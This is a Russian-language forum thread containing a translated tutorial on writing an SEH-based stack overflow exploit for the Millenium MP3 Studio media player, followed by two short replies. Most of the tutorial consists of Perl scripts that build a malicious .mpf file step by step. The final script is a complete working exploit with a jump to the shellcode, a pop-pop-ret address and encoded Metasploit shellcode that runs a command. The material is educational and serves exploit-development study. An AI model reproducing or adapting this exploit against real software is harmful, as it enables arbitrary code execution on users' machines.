RDot

RDot (https://rdot.org/forum/index.php)
-   Чужие статьи/Переводы;Foreign articles/translations (https://rdot.org/forum/forumdisplay.php?f=32)
-   -   Exploit writing tutorial part 3b - SEH Based Exploits - just another example (https://rdot.org/forum/showthread.php?t=1641)

p(eaZ 13.08.2011 13:57

Exploit writing tutorial part 3b - SEH Based Exploits - just another example
 
Автор: Peter Van Eeckhoutte (corelanc0d3r)
Перевод: p(eaZ
8/2011

В предыдущей части руководства я объяснил основы создания SEH-эксплойтов. Я упомянул, что в самом простом случае полезная нагрузка SEH-эксплойта имеет такую структуру:

[junk][nextSEH][SEH][Shellcode]

Я указал, что SEH должен быть перезаписан указателем на "pop,pop,ret", и что nextSEH должен быть переpfписан 6 байтами, чтобы перепрыгнуть через SEH… Конечно, эта структура была основана на логике SEH-уязвимости, и более применима к уязвимости в Easy RM to MP3 Player. Таким образом, это только пример демонстрирующий концепцию уязвимости в SEH, при которой вы должны видеть значения всех регистров, использовать контрольные точки, и т.п., чтобы определить область для полезной нагрузки и самого шеллкода. Наблюдая за стеком строили структуру полезной нагрузки…

Иногда вам может улыбнуться удача, и полезная нагрузка может быть построена почти мгновенно. Иногда вам не хватает везения, и вы прикладываете намного больше усилий для того, чтобы эксплойт мог стабильно работать в нескольких версиях ОС. Иногда вы будете прибегать к использованию жесткой адресации потому, что это будет единственный способ сделать рабочий эксплойт. В любом случае, большинство эксплойтов различны между собой, т.к. это ручная работа, основанная на определенных свойствах уязвимости и доступных методов для её эксплуатации.

В данной части руководства мы рассмотрим создание эксплойта для уязвимости, которая была обнаружена в Millenium MP3 Studio.

В PoC скрипте (вероятно основанном на значениях регистров) говорится о том, что уязвимость легко эксплуатировать, но автор находки этого сделать не смог.

http://pikucha.ru/i5YFu/1.jpeg

Основываясь на значениях регистров, которые показал “Hack4love”(автор найденной уязвимости), можно было предположить, что это типичное стековое переполнение, где EIP перезаписан мусором. Таким образом, вы должны найти смещение к EIP, найти полезную нагрузку в одном из регистров, и перезаписать EIP “переходом к …”, так? Хмм… Не совсем.

Давайте разбираться. Создайте файл с “http://” … +5000 A, и запустив его в приложении, через windbg, посмотрим, что произойдет.

Код:

#!usr/bin/perl
my $sploitfile="c0d3r.mpf";
my $junk = "http://";
$junk=$junk."A"x5000;
my $payload=$junk;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Откройте windbg и запустите mp3studio. Запустите выполнение программы и откройте файл.

http://pikucha.ru/i5YFv/2.jpeg

Нарушение доступа (Access violation), но значения регистров никак не соответствуют заявленным в PoC-скрипте. Значит, любая длина буфера является неправильной (чтобы вызвать типичное перезаписывающее EIP переполнение стека), или эта уязвимость основана на SEH. Посмотрим на SEH-цепочку, чтобы определиться:

http://pikucha.ru/i5YFw/3.jpeg

так, хорошо. И SE Handler и nextSEH перезаписаны. Значит, это будет SEH-эксплойт.

Создайте другой файл с шаблоном из 5000 символов при помощи утилиты из Metasploit, чтобы определить смещение к nextSEH и SE Handler’у:

Теперь SEH-цепочка выглядит так:

http://pikucha.ru/i5YFx/4.jpeg

Таким образом SE Handler был перезаписан на 0×39466830 (little endian, помните), и next SEH был перезаписан на 0×67384667
  • SE Handler: 0?39466830 = 9Fh0 (смещение по шаблону - 4109)
  • nextSEH: 0?67384667 = g8Fg (смещение по шаблону - 4105)

Это уже имеет какой-то смысл.

Теперь, для типичного SEH-эксплойта, вы сделаете следуещее:
  • в начале 4105 символов мусора(junk) (избавившись заранее от небольшого количества ненужных символов, таких как два слеша после http:, и добавив несколько A, чтобы держать количество символов в группах по 4);
  • перезапишите nextSEH на jump-код (0xeb, 0?06,0?90,0?90), чтобы перепрыгнуть через SE Handler и попасть в шелллкод;
  • перезапишите SE Handler указателем на pop,pop,ret;
  • поместите шеллкод (окруженный nop’ами в случае необходимости) и добавите больше данных, если потребуется;

или perl-скрипт (использующий некоторое подставные данные для того, чтобы проверить смещения):

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="BBBB";
my $seh="CCCC";
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)."

Крах:

http://pikucha.ru/i5YFy/5.jpeg

Таким образом, SE Handler был перезаписан на 43434343 (4 C, как и ожидалось), а nextSEH был перезаписан на 42424242 (4 B, как и ожидалось).
Давайте заменим SE Handler указателем на pop,pop,ret, и nextSHE заменим четырьмя контрольными точками.
Обратите внимание на список загруженных модулей и попытайтесь найти в одном из них последовательность pop,pop,ret. (Вы можете использовать плагин Ollydbg "SafeSEH", чтобы увидеть, собраны ли модули с safeSEH или нет).
xaudio.dll, одна из прикладных dll, содержит многократные pop,pop,ret. Мы будем использовать этот 0x1002083D:

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc"; #контрольная точка
my $seh=pack('V',0x1002083D);
my $shellcode="D"x($totalsize-length($junk.$nseh.$seh));
my $payload=$junk.$nseh.$seh.$shellcode;#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

При первом нарушении доступа (Access violation) мы направим исключение назад к приложению. pop,pop,ret был выполнен, и вы должны закончить на коде контрольной точки (в nseh).

Где теперь наша полезная нагрузка? Это должно быть похоже на большое количество D (после seh)…, но это могут быть и A (из начала буфера). Давайте поределят.Если полезная нагрузка находится после seh, (и приложение остановилось на контрольной точке), то EIP должен теперь указывать на первый байт nextSEH (код контрольной точки), и таким образом дамп eip долеж показать nseh, сопровождаемый seh, после которого идет шеллкод:

http://pikucha.ru/i5YFz/6.jpeg

Это выглядит многообещающе, однако мы видим некоторые нулевые байты после первых 32 байт. Значит, у нас есть 2 варианта: использовать 4 байта кода в nseh, чтобы перепрыгнуть через seh, и затем использовать те 16 байт, чтобы перепрыгнуть через нулевые байты. Или же сделать переход непосредственно из nseh в шеллкода.
Во-первых, давайте проверим, что мы действительно смотрим в начала шеллкода (заменяя первые D какими-нибудь легко узнаваемыми данными):

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xcc\xcc\xcc\xcc";
my $seh=pack('V',0x1002083D);
my $shellcode="A123456789B123456789C123456789D123456789";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$shellcode));
my $payload=$junk.$nseh.$seh.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

http://pikucha.ru/i5YFA/7.jpeg

Хорошо, это начало шеллкода, но в нем есть небольшое "отверстие" после первых двух байт…
Скажем, мы хотим перепрыгнуть через отверстие, и начать шеллкод с 4 NOP’ов (таким образом мы можем поместить свой реальный шеллкод в 0012f9c0…, используя всего 24 NOP’а перед шеллкодом), тогда мы должны сделать скачок (от nseh) на 30 байт. Это - 0xeb, 0x1e:

Код:

#!usr/bin/perl
my $totalsize=5005;
my $sploitfile="c0d3r.mpf";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90"; #прыжок на 30 байт
my $seh=pack('V',0x1002083D);
my $nops = "\x90" x 24;
my $shellcode="\xcc\xcc\xcc\xcc";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

Открыв mpf файл, вы должны быть остановлены в контрольной точке (в 0x0012f9c0) после прохождения первого исключения:

http://pikucha.ru/i5YFB/8.jpeg

Хорошо, теперь замените контрольные точки в коде на реальный шеллкод:, тем самым завершив код эксплойта:

Код:

#!usr/bin/perl
# [+] Vulnerability        : .mpf File Local Stack Overflow Exploit (SEH) #2
# [+] Product                : Millenium MP3 Studio
# [+] Versions affected : v1.0
# [+] Download          : http://www.software112.com/products/mp3-millennium+download.html
# [+] Method                : seh
# [+] Tested on        : Windows XP SP3 En
# [+] Written by        : corelanc0d3r  (corelanc0d3r[at]gmail[dot]com
# [+] Greetz to        : Saumil & SK
# Based on PoC/findings by HACK4LOVE ( http://milw0rm.com/exploits/9277
# -----------------------------------------------------------------------------
#                                              MMMMM~.
#                                              MMMMM?.
#    MMMMMM8.  .=MMMMMMM.. MMMMMMMM, MMMMMMM8.  MMMMM?. MMMMMMM:  MMMMMMMMMM.
#  MMMMMMMMMM=.MMMMMMMMMMM.MMMMMMMM=MMMMMMMMMM=.MMMMM?7MMMMMMMMMM: MMMMMMMMMMM:
#  MMMMMIMMMMM+MMMMM$MMMMM=MMMMMD$I8MMMMMIMMMMM~MMMMM?MMMMMZMMMMMI.MMMMMZMMMMM:
#  MMMMM==7III~MMMMM=MMMMM=MMMMM$. 8MMMMMZ$$$$$~MMMMM?..MMMMMMMMMI.MMMMM+MMMMM:
#  MMMMM=.    MMMMM=MMMMM=MMMMM7. 8MMMMM?    . MMMMM?NMMMM8MMMMMI.MMMMM+MMMMM:
#  MMMMM=MMMMM+MMMMM=MMMMM=MMMMM7. 8MMMMM?MMMMM:MMMMM?MMMMMIMMMMMO.MMMMM+MMMMM:
#  =MMMMMMMMMZ~MMMMMMMMMM8~MMMMM7. .MMMMMMMMMMO:MMMMM?MMMMMMMMMMMMIMMMMM+MMMMM:
#  .:$MMMMMO7:..+OMMMMMO$=.MMMMM7.  ,IMMMMMMO$~ MMMMM?.?MMMOZMMMMZ~MMMMM+MMMMM:
#    .,,,..      .,,,,.  .,,,,,    ..,,,..  .,,,,.. .,,...,,,. .,,,,..,,,,.
#                                                                  eip hunters
# -----------------------------------------------------------------------------
#
# Script provided for educational purposes only.
#
#
#
my $totalsize=5005;
my $sploitfile="c0d3r.m3u";
my $junk = "http:AA";
$junk=$junk."A" x 4105;
my $nseh="\xeb\x1e\x90\x90";  #прыжок на 30 байт
my $seh=pack('V',0x1002083D);  #pop pop ret из xaudio.dll
my $nops = "\x90" x 24;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode="\x89\xe6\xda\xdb\xd9\x76\xf4\x58\x50\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b" .
"\x58\x50\x44\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x45\x55\x43\x48\x45\x51\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x47\x50\x45\x51\x4a" .
"\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x45\x51\x4a\x4e\x50" .
"\x31\x49\x50\x4d\x49\x4e\x4c\x4c\x44\x49\x50\x42\x54\x43" .
"\x37\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4b" .
"\x44\x47\x4b\x51\x44\x47\x54\x45\x54\x42\x55\x4b\x55\x4c" .
"\x4b\x51\x4f\x46\x44\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4d\x59\x51\x4c\x51" .
"\x34\x45\x54\x48\x43\x51\x4f\x50\x31\x4a\x56\x43\x50\x51" .
"\x46\x45\x34\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" .
"\x58\x4b\x39\x4b\x48\x4b\x33\x49\x50\x43\x5a\x46\x30\x42" .
"\x48\x4a\x50\x4c\x4a\x44\x44\x51\x4f\x42\x48\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x51\x47\x4b\x4f\x4a\x47\x42\x43\x45" .
"\x31\x42\x4c\x45\x33\x45\x50\x41\x41";
my $junk2 = "D" x ($totalsize-length($junk.$nseh.$seh.$nops.$shellcode));
my $payload=$junk.$nseh.$seh.$nops.$shellcode.$junk2;
#
print " [+] Writing exploit file $sploitfile\n";
open (myfile,">$sploitfile");
print myfile $payload;
close (myfile);
print " [+] File written\n";
print " [+] " . length($payload)." bytes\n";

pwned!

Упражнение

У меня есть небольшое упражнение для вас: попытайтесь написать рабочий эксплойт для m3u файла, и посмотрите, сможете ли вы найти способ заменить EIP-переполнение на SEH.

Примечание: шеллкод не должен быть помещен после nseh/seh. Он должен быть помещен в первую часть буфера полезной нагрузки, и вы при этом можете использовать:
  • маленькое буферное пространство, чтобы записать какой-либо jump-код, таким образом, перейти к реальному шеллкоду.
  • жесткую адресацию (если ничего больше не помогает)
SEH-эксплойт для m3u файлов почти идентичен mpf версии, поэтому я не стану сейчас это описывать.

Если вы хотите обсудить это упражнение, пожалуйста, зарегистрируйтесь и создайте топик на форуме: http://www.corelan.be:8800/index.php/forum/writing-exploits/.


Статья с бб-кодами для копипаста.

SynQ 17.08.2011 18:09

p(eaZ
Большая работа, одно пожелание, встречаются уж очень мелкие скриншоты (как самый первый здесь, например, или в 3a был скриншот олли), если ты их сам делаешь, не скупись на размер :)

p(eaZ 17.08.2011 18:33

Ошибку исправил.
Скриншоты... Те в которых объясняется сухая теория, я беру из оригинала. Там где идут действия с эксплойтами, я делаю свои, т.к. повторяю действия автора. Но, если мои адреса не отличаются от адресов в оригинале, я копирую все скрины из него.
Спасибо за фидбек.


Часовой пояс GMT +3, время: 09:25.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot